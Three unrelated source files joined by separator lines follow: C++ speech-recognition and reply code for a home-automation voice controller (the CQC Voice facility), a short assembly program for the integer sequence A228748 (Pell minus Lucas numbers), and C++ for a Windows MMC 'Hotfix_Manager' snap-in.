catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
if (bThrowIfErr)
throw;
TModule::LogEventObj(errToCatch);
return kCIDLib::False;
}
return kCIDLib::True;
}
//
// Looks for a light with the indicated name. Based on the type of light, it figures
// out if the light is on or off. If a switch we use the switch field. If only a dimmer
// is available, we use the dime state. If only a color field, we use the brightness of
// the color.
//
// We return an enum because we have to be able to indicate:
//
// 1. We couldn't find the light
// 2. We found it but couldn't read the field
// 3. It was on
// 4. It was off
//
tCQCVoice::ELightReads TFacCQCVoice::eQueryLightState(const TString& strName)
{
const TSCLoadInfo* pscliLight = facCQCVoice.pscliLoadByName(strName);
if (!pscliLight)
{
facCQCVoice.SpeakReply(kCQCVoiceMsgs::midErr_LightNotFound);
return tCQCVoice::ELightReads::NotFound;
}
tCIDLib::TBoolean bState = kCIDLib::False;
try
{
tCIDLib::TCard4 c4SerNum = 0;
const TString& strMoniker = pscliLight->m_strMoniker;
tCQCKit::TCQCSrvProxy orbcDrv = facCQCKit().orbcCQCSrvAdminProxy(strMoniker);
if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_SwitchPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_SwitchPref))
{
const TString& strField
(
pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_SwitchPref)
? pscliLight->m_strField : pscliLight->m_strField2
);
orbcDrv->bReadBoolByName(c4SerNum, strMoniker, strField, bState);
}
else if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_DimPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_DimPref))
{
const TString& strField
(
pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_DimPref)
? pscliLight->m_strField : pscliLight->m_strField2
);
tCIDLib::TCard4 c4Level;
orbcDrv->bReadCardByName(c4SerNum, strMoniker, strField, c4Level);
bState = (c4Level > 0);
}
else if (pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_ClrPref)
|| pscliLight->m_strField2.bStartsWith(kCQCVoice::strVal_ClrPref))
{
const TString& strField
(
pscliLight->m_strField.bStartsWith(kCQCVoice::strVal_ClrPref)
? pscliLight->m_strField : pscliLight->m_strField2
);
TString strClr;
orbcDrv->bReadStringByName(c4SerNum, strMoniker, strField, strClr);
//
// Use the HSV class to parse it, since this is the format it uses, and
// it saves us a lot of nitpicky work.
//
THSVClr hsvClr;
if (!hsvClr.bParseFromText(strClr, kCIDLib::True, tCIDLib::ERadices::Dec, kCIDLib::chSpace))
return tCQCVoice::ELightReads::Failed;
bState = hsvClr.f4Value() != 0.0F;
}
else
{
facCQCVoice.ThrowErr
(
CID_FILE
, CID_LINE
, kCQCVoiceErrs::errcCfg_UnknownLightType
, tCIDLib::ESeverities::Failed
, tCIDLib::EErrClasses::Internal
, strName
);
}
}
catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
return tCQCVoice::ELightReads::Failed;
}
if (bState)
return tCQCVoice::ELightReads::On;
return tCQCVoice::ELightReads::Off;
}
//
// Handles the case where we get some off/on but weren't too confident we heard the
// state right. We will wait for an off or on clarification and reutrn that.
//
tCQCVoice::EWaitRepModes TFacCQCVoice::eClarifyOffOn(tCIDLib::TBoolean& bState)
{
tCIDLib::TStrList colWaitFor(2);
colWaitFor.objAdd(kCQCVoice::strAction_ClarifyOff);
colWaitFor.objAdd(kCQCVoice::strAction_ClarifyOn);
// Enable these rules while we are in here
TCQCVoiceRuleJan janRule1(kCQCVoice::strAction_ClarifyOff, kCIDLib::True);
TCQCVoiceRuleJan janRule2(kCQCVoice::strAction_ClarifyOn, kCIDLib::True);
tCIDLib::TCard4 c4At;
TCIDSpeechRecoEv sprecevClarify;
const tCQCVoice::EWaitRepModes eRep = eWaitForAction
(
colWaitFor
, L"off or on clarification"
, sprecevClarify
, c4At
);
// If it worked, reutrn the state they asked for
if (eRep == tCQCVoice::EWaitRepModes::Success)
bState = c4At == 1;
return eRep;
}
//
// Handles the case where we get some percentage level but weren't too confident we
// heard the value right. So we get clarification, or cancel or fail.
//
tCQCVoice::EWaitRepModes TFacCQCVoice::eClarifyPercentage(TString& strLevel)
{
facCQCVoice.SpeakReply(kCQCVoiceMsgs::midQ_PercentLevel);
// We will accept a cancellation or a percentage clarification
tCIDLib::TStrList colWaitFor(1);
colWaitFor.objAdd(kCQCVoice::strAction_ClarifyPercentVal);
// Enable this rule while in here
TCQCVoiceRuleJan janRuleJan(kCQCVoice::strAction_ClarifyPercentVal, kCIDLib::True);
tCIDLib::TCard4 c4At;
TCIDSpeechRecoEv sprecevClarify;
const tCQCVoice::EWaitRepModes eRep = eWaitForAction
(
colWaitFor
, L"percentage level clarification"
, sprecevClarify
, c4At
);
// If successful, get the new value out
if (eRep == tCQCVoice::EWaitRepModes::Success)
strLevel = sprecevClarify.strFindSemVal(L"State");
return eRep;
}
//
// Handles the case of clarifying some signed number. It may actually be a percentage
// or something that cannot ultimately be signed. But we have no way of dealing with
// that cleanly in the grammar, so we have to just let it be signed the caller has
// to validate the value.
//
// The value being confirmed must be in the incoming string, since we can get just
// a Yes, in which case we need to keep that original value.
//
// The caller has to speak the message to the user to clarify, so that it can give a
// context specific message.
//
tCQCVoice::EWaitRepModes TFacCQCVoice::eClarifySignedNum(TString& strValue)
{
// We will accept a cancellation, a yes, or a numeric value clarification
tCIDLib::TStrList colWaitFor(2);
colWaitFor.objAdd(kCQCVoice::strAction_ClarifySignedNum);
colWaitFor.objAdd(kCQCVoice::strAction_Yes);
// Enable these rules in here
TCQCVoiceRuleJan janRule1(kCQCVoice::strAction_ClarifySignedNum, kCIDLib::True);
TCQCVoiceRuleJan janRule2(kCQCVoice::strAction_Yes, kCIDLib::True);
tCIDLib::TCard4 c4At;
TCIDSpeechRecoEv sprecevClarify;
const tCQCVoice::EWaitRepModes eRep = eWaitForAction
(
colWaitFor
, L"numeric value clarification"
, sprecevClarify
, c4At
);
// If successful, and it was a clarify get the new value out
if ((eRep == tCQCVoice::EWaitRepModes::Success) && (c4At == 0))
strValue = sprecevClarify.strFindSemVal(L"State");
return eRep;
}
//
// Handles the common scenario of getting an answer from the user to a 'should I
// turn it off/on?' question. The caller indicates which state is being asked about.
//
// In either case we will accept yes or no answers. We will also accept an off/on
// clarifcation response. In the later case we check that it matches the requested
// new state. If not, we tell the user that the answer was ambiguous.
//
tCQCVoice::EWaitRepModes TFacCQCVoice::eShouldITurnItX(const tCIDLib::TBoolean bTarState)
{
tCIDLib::TStrList colWaitFor(4);
colWaitFor.objAdd(kCQCVoice::strAction_No);
colWaitFor.objAdd(kCQCVoice::strAction_Yes);
colWaitFor.objAdd(kCQCVoice::strAction_ClarifyOff);
colWaitFor.objAdd(kCQCVoice::strAction_ClarifyOn);
// Enable these rules while we are in here. No is not an on demand type
TCQCVoiceRuleJan janRule1(kCQCVoice::strAction_ClarifyOff, kCIDLib::True);
TCQCVoiceRuleJan janRule2(kCQCVoice::strAction_ClarifyOn, kCIDLib::True);
TCQCVoiceRuleJan janRule4(kCQCVoice::strAction_Yes, kCIDLib::True);
const TString& strWaitDescr = facCQCVoice.strMsg
(
bTarState ? kCQCVoiceMsgs::midSpeak_OnConfirm : kCQCVoiceMsgs::midSpeak_OffConfirm
);
tCIDLib::TCard4 c4At;
TCIDSpeechRecoEv sprecevClarify;
const tCQCVoice::EWaitRepModes eRep = eWaitForAction
(
colWaitFor, strWaitDescr, sprecevClarify, c4At
);
// If they selected a clarification action, check it against the state
if (eRep == tCQCVoice::EWaitRepModes::Success)
{
if (((c4At == 2) && bTarState)
|| ((c4At == 3) && !bTarState))
{
SpeakReply(kCQCVoiceMsgs::midSpeak_WaitingForOther, strWaitDescr);
return tCQCVoice::EWaitRepModes::Failure;
}
}
return eRep;
}
//
// We support a number of scenarios where we need to wait for specific responses, usually
// with one main one and some alternate ones, or sometimes just one of a set of
// alternatives. We have conveneince methods to support those variations, all of which
// just call this general purpose one. We take them all as just a list of action
// names to watch for.
//
// We always will accept a cancel command and return a cancel result. We require all of
// the semantics to be at high confidence since this is used for clarification and
// confirmation.
//
// If we timeout, we'll tell the user we are giving up and what we were waiting for.
//
// On each round we'll wait for up to a specific time for a reply before we give up.
//
tCQCVoice::EWaitRepModes
TFacCQCVoice::eWaitForAction( const tCIDLib::TStrList& colWaitForActs
, const TString& strWaitForDescr
, TCIDSpeechRecoEv& sprecevToFill
, tCIDLib::TCard4& c4MatchedAt)
{
const tCIDLib::TCard4 c4WaitCnt = colWaitForActs.c4ElemCount();
tCQCVoice::EWaitRepModes eRet = tCQCVoice::EWaitRepModes::Failure;
TString strAction;
while (eRet != tCQCVoice::EWaitRepModes::Success)
{
// We want to see low confidence events so that we can say we didn't understand.
if (bGetNextEvent(sprecevToFill, strAction, kCQCVoice::c4WaitReplyMSs, kCIDLib::True))
{
// If all values are at least medium confidence, then check it it
if (bAllAtConfidence(sprecevToFill.colSemList(), tCQCVoice::EConfLevels::Medium))
{
// If it's a cancel command, we stop
if (strAction.bCompareI(kCQCVoice::strAction_CancelOp))
{
eRet = tCQCVoice::EWaitRepModes::Cancel;
break;
}
// See if it matches any of our guys
for (c4MatchedAt = 0; c4MatchedAt < c4WaitCnt; c4MatchedAt++)
{
if (strAction.bCompareI(colWaitForActs[c4MatchedAt]))
{
//
// This only gets us out of this loop. But the main loop will
// exit because we set success.
//
eRet = tCQCVoice::EWaitRepModes::Success;
break;
}
}
}
//
// If not solid or not one we want, tell them to try again. We won't see
// Cancel here since it will break out of the main loop.
//
if (eRet != tCQCVoice::EWaitRepModes::Success)
facCQCVoice.SpeakTryAgain();
}
else
{
// No response in the time we are willing to wait, so give up
eRet = tCQCVoice::EWaitRepModes::Timeout;
break;
}
}
// If we timed out, tell the user what we were waiting for
if (eRet == tCQCVoice::EWaitRepModes::Timeout)
{
// Tell them we were waiting for something else
SpeakReply(kCQCVoiceMsgs::midSpeak_WaitingForOther, strWaitForDescr);
}
return eRet;
}
//
// One we get into conversation mode, we have to wait for specific responses. If it
// gets something else, it will tell the user it was waiting for this (using the
// wait for description, which is plugs into a message and speaks) and returns
// false. If it times out, it returns false.
//
// There isn't a single timeout. We see how long it has been since they last responded,
// so that, as long as they are trying, and don't tell us to stop, we will keep going.
//
// We also take an alternate wait for action, which can be empty if it has to be just
// the one thing. Often they will want for either an explicit action or a yes or no,
// for instance.
//
tCQCVoice::EWaitRepModes
TFacCQCVoice::eWaitForAction( const TString& strWaitFor
, const TString& strWaitForDescr
, TCIDSpeechRecoEv& sprecevToFill)
{
tCIDLib::TCard4 c4At;
tCIDLib::TStrList colList(2);
colList.objAdd(strWaitFor);
return eWaitForAction(colList, strWaitForDescr, sprecevToFill, c4At);
}
// Like above but we'll wait for the main action or a no
tCQCVoice::EWaitRepModes
TFacCQCVoice::eWaitForActionOrNo( const TString& strWaitFor
, const TString& strWaitForDescr
, TCIDSpeechRecoEv& sprecevToFill)
{
tCIDLib::TCard4 c4At;
tCIDLib::TStrList colList(2);
colList.objAdd(strWaitFor);
colList.objAdd(kCQCVoice::strAction_No);
return eWaitForAction(colList, strWaitForDescr, sprecevToFill, c4At);
}
// Like above but we'll wait for the main action or a yes
tCQCVoice::EWaitRepModes
TFacCQCVoice::eWaitForActionOrYes( const TString& strWaitFor
, const TString& strWaitForDescr
, TCIDSpeechRecoEv& sprecevToFill)
{
tCIDLib::TCard4 c4At;
tCIDLib::TStrList colList(2);
colList.objAdd(strWaitFor);
colList.objAdd(kCQCVoice::strAction_Yes);
return eWaitForAction(colList, strWaitForDescr, sprecevToFill, c4At);
}
//
// This helper just waits for any event where the main rule confidence is at least
// medium or greater. If it gets low confidence ones, it just says it doesn't understand.
// As long as the user is responding, and we haven't been asked to stop, we'll keep
// waiting.
//
// It is assumed this is called within the context of a conversation, so we ask to see
// low confidence events and indicate we didn't understand, please try again.
//
tCQCVoice::EWaitRepModes
TFacCQCVoice::eWaitForGoodEvent( TCIDSpeechRecoEv& sprecevToFill
, TString& strAction
, const tCIDLib::TCard4 c4WaitMSs)
{
tCQCVoice::EWaitRepModes eRet = tCQCVoice::EWaitRepModes::Failure;
TThread* pthrUs = TThread::pthrCaller();
while (!pthrUs->bCheckShutdownRequest())
{
// We want to see low confidence events so that we can say we didn't understand.
if (bGetNextEvent(sprecevToFill, strAction, c4WaitMSs, kCIDLib::True))
{
const TKeyNumPair& knumAction = *sprecevToFill.pknumFindSemVal
(
kCQCVoice::strSemVal_Action
);
if (bIsMedConfidence(knumAction))
{
// We are going to keep it so store the action and return
strAction = knumAction.strValue();
eRet = tCQCVoice::EWaitRepModes::Success;
break;
}
else
{
// Ask them to try again
facCQCVoice.SpeakTryAgain();
}
}
else
{
// No response in the time we are willing to wait, so give up
eRet = tCQCVoice::EWaitRepModes::Timeout;
break;
}
}
return eRet;
}
//
// If doing visual replies, we have to remove any markup from the text. The only
// reasonable way to do that is to let it create the markup XML, then parse it, and
// pull out the actual text. And we need a little recursive helper to get the
// resulting text out.
//
static tCIDLib::TVoid ProcessMarkupText(const TXMLTreeElement& xtnodePar, TString& strToFill)
{
const tCIDLib::TCard4 c4ChildCnt = xtnodePar.c4ChildCount();
for(tCIDLib::TCard4 c4Index = 0; c4Index < c4ChildCnt; c4Index++)
{
const TXMLTreeNode& xtnodeCur = xtnodePar.xtnodeChildAt(c4Index);
if(xtnodeCur.eType() == tCIDXML::ENodeTypes::Text)
{
const TXMLTreeText& xtnodeText = xtnodePar.xtnodeChildAtAsText(c4Index);
strToFill.Append(xtnodeText.strText());
}
else if(xtnodeCur.eType() == tCIDXML::ENodeTypes::Element)
{
// Recurse
const TXMLTreeElement& xtnodeElem = xtnodePar.xtnodeChildAtAsElement(c4Index);
ProcessMarkupText(xtnodeElem, strToFill);
}
}
}
tCIDLib::TVoid
TFacCQCVoice::GetMarkedupText(const TString& strXML, TString& strToFill)
{
// Create a memory buffer entity source over the source string
tCIDXML::TEntitySrcRef esrText
(
new TMemBufEntitySrc(L"VoiceMarkupText", strXML)
);
// And let's parse from that
try
{
TXMLTreeParser xtprsText;
// Indicate we only want the result character text
const tCIDLib::TBoolean bOk = xtprsText.bParseRootEntity
(
esrText
, tCIDXML::EParseOpts::None
, tCIDXML::EParseFlags::TagsNText
);
if (!bOk)
{
const TXMLTreeParser::TErrInfo& erriFirst
= xtprsText.colErrors()[0];
TTextStringOutStream strmOut(512);
strmOut << L"[" << erriFirst.c4Line() << L"." << erriFirst.c4Column()
<< L"] " << erriFirst.strText() << kCIDLib::FlushIt;
facCQCVoice.ThrowErr
(
CID_FILE
, CID_LINE
, kCQCVoiceErrs::errcTTS_ParseMarkup
, strmOut.strData()
, tCIDLib::ESeverities::Failed
, tCIDLib::EErrClasses::Internal
);
}
//
// Get the text out. We should be able to just iterate a flat list of
// text nodes and accumulate them.
//
strToFill.Clear();
const TXMLTreeElement& xtnodeRoot = xtprsText.xtdocThis().xtnodeRoot();
ProcessMarkupText(xtnodeRoot, strToFill);
}
catch(TError& errToCatch)
{
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
TModule::LogEventObj(errToCatch);
// Give back some thing useful
strToFill = facCQCVoice.strMsg(kCQCVoiceErrs::errcTTS_ParseMarkup);
}
}
// A randomiszed general "Call me if you need me" helper
tCIDLib::TVoid TFacCQCVoice::SpeakCallMe()
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_CallMe1
, kCQCVoiceMsgs::midSpeak_CallMe2
, kCQCVoiceMsgs::midSpeak_CallMe3
, kCQCVoiceMsgs::midSpeak_CallMe4
, kCQCVoiceMsgs::midSpeak_CallMe5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
// Some of these have markup so we have to process them all that way
SpeakReply(amidOptions[c4Sel], kCIDLib::True);
}
//
// A randomized general 'I couldn't understand x' reply helper
//
tCIDLib::TVoid
TFacCQCVoice::SpeakCantUnderstand( const TString& strWhat)
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_CantUnderstand1
, kCQCVoiceMsgs::midSpeak_CantUnderstand2
, kCQCVoiceMsgs::midSpeak_CantUnderstand3
, kCQCVoiceMsgs::midSpeak_CantUnderstand4
, kCQCVoiceMsgs::midSpeak_CantUnderstand5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
SpeakReply(amidOptions[c4Sel], strWhat);
}
// A randomized general 'that was done' reply helper
tCIDLib::TVoid TFacCQCVoice::SpeakDone()
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_Done1
, kCQCVoiceMsgs::midSpeak_Done2
, kCQCVoiceMsgs::midSpeak_Done3
, kCQCVoiceMsgs::midSpeak_Done4
, kCQCVoiceMsgs::midSpeak_Done5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
SpeakReply(amidOptions[c4Sel]);
}
// A randomized general 'that failed' reply helper
tCIDLib::TVoid TFacCQCVoice::SpeakFailed()
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_Failed1
, kCQCVoiceMsgs::midSpeak_Failed2
, kCQCVoiceMsgs::midSpeak_Failed3
, kCQCVoiceMsgs::midSpeak_Failed4
, kCQCVoiceMsgs::midSpeak_Failed5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
SpeakReply(amidOptions[c4Sel]);
}
// A randomized 'please wait' reply helper
tCIDLib::TVoid TFacCQCVoice::SpeakPleaseWait()
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_OneMoment1
, kCQCVoiceMsgs::midSpeak_OneMoment2
, kCQCVoiceMsgs::midSpeak_OneMoment3
, kCQCVoiceMsgs::midSpeak_OneMoment4
, kCQCVoiceMsgs::midSpeak_OneMoment5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
SpeakReply(amidOptions[c4Sel]);
}
//
// Some methods to conveniently speak loaded text, and insert replacement tokens.
// Just calls teh main version after setting up the text string.
//
tCIDLib::TVoid
TFacCQCVoice::SpeakReply( const tCIDLib::TMsgId midText
, const tCIDLib::TBoolean bMarkup)
{
TString strMsg(midText, facCQCVoice);
SpeakReply(strMsg, bMarkup);
}
tCIDLib::TVoid
TFacCQCVoice::SpeakReply( const tCIDLib::TMsgId midText
, const MFormattable& fmtblToken1
, const tCIDLib::TBoolean bMarkup)
{
TString strMsg(midText, facCQCVoice, fmtblToken1);
SpeakReply(strMsg, bMarkup);
}
tCIDLib::TVoid
TFacCQCVoice::SpeakReply( const tCIDLib::TMsgId midText
, const MFormattable& fmtblToken1
, const MFormattable& fmtblToken2
, const tCIDLib::TBoolean bMarkup)
{
TString strMsg(midText, facCQCVoice, fmtblToken1, fmtblToken2);
SpeakReply(strMsg, bMarkup);
}
tCIDLib::TVoid
TFacCQCVoice::SpeakReply( const tCIDLib::TMsgId midText
, const MFormattable& fmtblToken1
, const MFormattable& fmtblToken2
, const MFormattable& fmtblToken3
, const tCIDLib::TBoolean bMarkup)
{
TString strMsg(midText, facCQCVoice, fmtblToken1, fmtblToken2, fmtblToken3);
SpeakReply(strMsg, bMarkup);
}
//
// This is for the other versions to call, or for internal slash debugging stuff that
// we don't bother creating loadable text for.
//
// We always do sync output, meaning we pause recognition while the speaking is going
// on and we block until it completes. This is being called from the background thread
// so it's not blocking the GUI.
//
// We support a markup mode, where they can pass us text that has embedded xml tags
// in it that control the speech. In those cases, we build an XML document in a string
// with the passed text as the body, and pass that to be spoken.
//
// If we are doing visual text, we pass the text to the visual text window, after
// removing any market if there is markup involved. If we are not doing spoken text,
// then we just send the text for display (telling the window it doesn't have to
// wait for a spoken reply, and return.)
//
tCIDLib::TVoid
TFacCQCVoice::SpeakReply(const TString& strText, const tCIDLib::TBoolean bMarkup)
{
// Pause recognition while in here if doing spoken text
SetRecoPause(m_bSpeakReplies);
try
{
//
// If markup, then build up the actual text to speak and send it. Else just
// pass the text as is.
//
if (bMarkup)
{
TTextStringOutStream strmText(320UL);
strmText << L"<?xml version=\"1.0\" encoding=\"" << kCIDLib::pszNativeEncoding
<< L"\"?>\n"
<< L"<speak version=\"1.0\" xmlns=\"http://www.w3.org/2001/10/synthesis\""
<< L" xml:lang=\"en-US\">\n"
<< strText
<< L"\n</speak>"
<< kCIDLib::EndLn;
//
// If doing text replies, then we have to parse this XML and get just the
// text content and display that, telling it to blink if we are going to
// speak it as well.
//
if (m_bTextReplies)
{
TString strVisText;
GetMarkedupText(strmText.strData(), strVisText);
m_pwndVisText->ShowText(strVisText, m_bSpeakReplies);
}
// If speaking replies, do that
if (m_bSpeakReplies)
m_speechOut.Speak(strmText.strData(), tCIDLib::ESpeechFlags::Markup);
// If speaking and text, tell the vis text window to stop blinking
if (m_bTextReplies && m_bSpeakReplies)
m_pwndVisText->ReadyToListen();
}
else
{
// If text replies, send it and tell it to blink if speaking
if (m_bTextReplies)
m_pwndVisText->ShowText(strText, m_bSpeakReplies);
// If speaking replies do that
if (m_bSpeakReplies)
m_speechOut.Speak(strText, tCIDLib::ESpeechFlags::None);
// If text replies and speaking, tell the vis text window to stop blinking
if (m_bTextReplies && m_bSpeakReplies)
m_pwndVisText->ReadyToListen();
}
}
catch(TError& errToCatch)
{
// If we paused recognition, unpause it
if (m_bSpeakReplies)
SetRecoPause(kCIDLib::False);
errToCatch.AddStackLevel(CID_FILE, CID_LINE);
throw;
}
catch(...)
{
// <TBD> log something here
// Fall through
}
// If we paused recognition, unpause it
if (m_bSpeakReplies)
SetRecoPause(kCIDLib::False);
}
// A randomized 'please try again' reply helper
tCIDLib::TVoid TFacCQCVoice::SpeakTryAgain()
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_TryAgain1
, kCQCVoiceMsgs::midSpeak_TryAgain2
, kCQCVoiceMsgs::midSpeak_TryAgain3
, kCQCVoiceMsgs::midSpeak_TryAgain4
, kCQCVoiceMsgs::midSpeak_TryAgain5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
SpeakReply(amidOptions[c4Sel]);
}
// A randomized 'what can I do for you?' reply helper
tCIDLib::TVoid TFacCQCVoice::SpeakWhatCanIDo()
{
static const tCIDLib::TMsgId amidOptions[] =
{
kCQCVoiceMsgs::midSpeak_WhatCanIDo1
, kCQCVoiceMsgs::midSpeak_WhatCanIDo2
, kCQCVoiceMsgs::midSpeak_WhatCanIDo3
, kCQCVoiceMsgs::midSpeak_WhatCanIDo4
, kCQCVoiceMsgs::midSpeak_WhatCanIDo5
};
static const tCIDLib::TCard4 c4OptCnt = tCIDLib::c4ArrayElems(amidOptions);
const tCIDLib::TCard4 c4Sel = (m_randSel.c4GetNextNum() >> 4) % c4OptCnt;
SpeakReply(amidOptions[c4Sel]);
}
//
// Find a load by name, which the basic room config classes don't support since it's
// not normally done for auto-generation and such. So we just have to iterate them
// and find a matching name (or alt-name.)
//
// If we find it, we return the load info pointer, else null.
//
const TSCLoadInfo* TFacCQCVoice::pscliLoadByName(const TString& strName) const
{
const tCIDLib::TCard4 c4Count = m_scfgCurrent.c4ListIdCount(tCQCSysCfg::ECfgLists::Lighting);
for (tCIDLib::TCard4 c4Index = 0; c4Index < c4Count; c4Index++)
{
const TSCLoadInfo& scliCur = m_scfgCurrent.scliLoadAt(c4Index);
if (scliCur.m_strTitle.bCompareI(strName))
return &scliCur;
}
return nullptr;
}
|
; A228748: Pell numbers (A000129) minus Lucas numbers beginning at 2 (A000032).
; Submitted by Jon Maiga
; -2,0,-1,1,5,18,52,140,361,909,2255,5542,13538,32940,79939,193661,468625,1133118,2738432,6615760,15979301,38589489,93182755,224994602,543236038,1311570360,3166544519,7644930841,18456845405,44559332298
mov $1,-2
mov $3,1
lpb $0
sub $0,1
mov $2,$1
add $1,$3
add $1,1
sub $4,2
sub $3,$4
add $3,$5
mov $4,$2
mov $2,$3
add $5,$4
mov $3,$5
add $4,$1
add $5,$2
lpe
mov $0,$1
|
#include "stdafx.h"
#include "HotfixManager.h"
#include "Hotfix_Manager.h"
#ifndef DNS_MAX_NAME_LENGTH
#define DNS_MAX_NAME_LENGTH 255
#endif
#define REMOTE_STATE 0
#define HOTFIX_STATE 1
static CRITICAL_SECTION CritSec;
BSTR CHotfix_ManagerData::m_bstrColumnType;
BSTR CHotfix_ManagerData::m_bstrColumnDesc;
static CComPtr<IDispatch> gpDisp = NULL;
/////////////////////////////////////////////////////////////////////////////
// CHotfix_ManagerComponentData
static const GUID CHotfix_ManagerGUID_NODETYPE =
{ 0x2315305b, 0x3abe, 0x4c07, { 0xaf, 0x6e, 0x95, 0xdc, 0xa4, 0x82, 0x5b, 0xdd } };
const GUID* CHotfix_ManagerData::m_NODETYPE = &CHotfix_ManagerGUID_NODETYPE;
const OLECHAR* CHotfix_ManagerData::m_SZNODETYPE = OLESTR("2315305B-3ABE-4C07-AF6E-95DCA4825BDD");
const OLECHAR* CHotfix_ManagerData::m_SZDISPLAY_NAME = OLESTR("Hotfix_Manager");
const CLSID* CHotfix_ManagerData::m_SNAPIN_CLASSID = &CLSID_Hotfix_Manager;
static const GUID CHotfix_ManagerExtGUID_NODETYPE =
{ 0x476e6448, 0xaaff, 0x11d0, { 0xb9, 0x44, 0x0, 0xc0, 0x4f, 0xd8, 0xd5, 0xb0 } };
const GUID* CHotfix_ManagerExtData::m_NODETYPE = &CHotfix_ManagerExtGUID_NODETYPE;
const OLECHAR* CHotfix_ManagerExtData::m_SZNODETYPE = OLESTR("476e6448-aaff-11d0-b944-00c04fd8d5b0");
const OLECHAR* CHotfix_ManagerExtData::m_SZDISPLAY_NAME = OLESTR("Hotfix_Manager");
const CLSID* CHotfix_ManagerExtData::m_SNAPIN_CLASSID = &CLSID_Hotfix_Manager;
CHotfix_Manager::CHotfix_Manager()
{
DWORD dwSize = 255;
GetComputerName(m_szComputerName,&dwSize);
InitializeCriticalSection(&CritSec);
// m_pNode = new CHotfix_ManagerData(NULL ,m_szComputerName, FALSE);
// _ASSERTE(m_pNode != NULL);
m_pComponentData = this;
RegisterRemotedClass();
}
HRESULT CHotfix_ManagerData::GetScopePaneInfo(SCOPEDATAITEM *pScopeDataItem)
{
if (pScopeDataItem->mask & SDI_STR)
pScopeDataItem->displayname = m_bstrDisplayName;
if (pScopeDataItem->mask & SDI_IMAGE)
pScopeDataItem->nImage = m_scopeDataItem.nImage;
if (pScopeDataItem->mask & SDI_OPENIMAGE)
pScopeDataItem->nOpenImage = m_scopeDataItem.nOpenImage;
if (pScopeDataItem->mask & SDI_PARAM)
pScopeDataItem->lParam = m_scopeDataItem.lParam;
if (pScopeDataItem->mask & SDI_STATE )
pScopeDataItem->nState = m_scopeDataItem.nState;
// TODO : Add code for SDI_CHILDREN
if (pScopeDataItem->mask & SDI_CHILDREN )
pScopeDataItem->cChildren = 0;
return S_OK;
}
HRESULT CHotfix_ManagerData::GetResultPaneInfo(RESULTDATAITEM *pResultDataItem)
{
if (pResultDataItem->bScopeItem)
{
if (pResultDataItem->mask & RDI_STR)
{
pResultDataItem->str = GetResultPaneColInfo(pResultDataItem->nCol);
}
if (pResultDataItem->mask & RDI_IMAGE)
{
pResultDataItem->nImage = m_scopeDataItem.nImage;
}
if (pResultDataItem->mask & RDI_PARAM)
{
pResultDataItem->lParam = m_scopeDataItem.lParam;
}
return S_OK;
}
if (pResultDataItem->mask & RDI_STR)
{
pResultDataItem->str = GetResultPaneColInfo(pResultDataItem->nCol);
}
if (pResultDataItem->mask & RDI_IMAGE)
{
pResultDataItem->nImage = m_resultDataItem.nImage;
}
if (pResultDataItem->mask & RDI_PARAM)
{
pResultDataItem->lParam = m_resultDataItem.lParam;
}
if (pResultDataItem->mask & RDI_INDEX)
{
pResultDataItem->nIndex = m_resultDataItem.nIndex;
}
return S_OK;
}
HRESULT CHotfix_Manager::Notify(LPDATAOBJECT lpDataObject, MMC_NOTIFY_TYPE event, LPARAM arg, LPARAM param)
{
HRESULT hr = E_UNEXPECTED;
if (lpDataObject != NULL)
{
switch ( event )
{
case MMCN_EXPAND:
{
//
// Process out the local or machine name if we're expanding.
//
if (arg == TRUE)
{
if ( ExtractString( lpDataObject, m_ccfRemotedFormat, m_szComputerName, DNS_MAX_NAME_LENGTH + 1 ) )
{
if (!_tcscmp (m_szComputerName,_T("\0")))
{
DWORD dwSize = 255;
GetComputerName(m_szComputerName,&dwSize);
}
}
else
{
DWORD dwSize = 255;
GetComputerName(m_szComputerName,&dwSize);
}
if ( _tcscmp (gszComputerName, m_szComputerName) )
{
// MessageBox (NULL,_T("Setting Computername sent to false"), _T("Main Data Notify"),MB_OK);
ComputerNameSent = FALSE;
_tcscpy (gszComputerName,m_szComputerName);
}
//
// Intentionally left to fall through to default handler.
//
}
}
default:
{
//
// Call our default handling.
//
hr = IComponentDataImpl<CHotfix_Manager, CHotfix_ManagerComponent>::Notify( lpDataObject, event, arg, param );
}
}
}
return( hr );
}
